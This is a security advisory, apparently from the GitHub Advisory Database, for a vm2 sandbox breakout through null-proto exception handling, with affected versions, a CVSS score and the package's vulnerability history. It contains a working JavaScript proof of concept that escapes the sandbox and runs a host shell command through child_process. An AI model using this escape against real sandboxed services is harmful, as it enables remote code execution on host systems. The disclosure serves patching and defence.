vm2 has Sandbox Breakout Through Null Proto Exception
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
In handleException due to // SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function object.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
throw o;
} catch (e) {
e.f = Buffer.prototype.inspect
o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vm2 | < 3.11.2 | 3.11.2 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-668- Platform
- npm
- Package
vm2- Disclosed
- 08.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9vg3-4rfj-wgcm - CC BY 4.0
Vulnerability history: vm2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 78
- First → latest
- 10.2021 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 51
- High 14
- Medium 12
- Low 1
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
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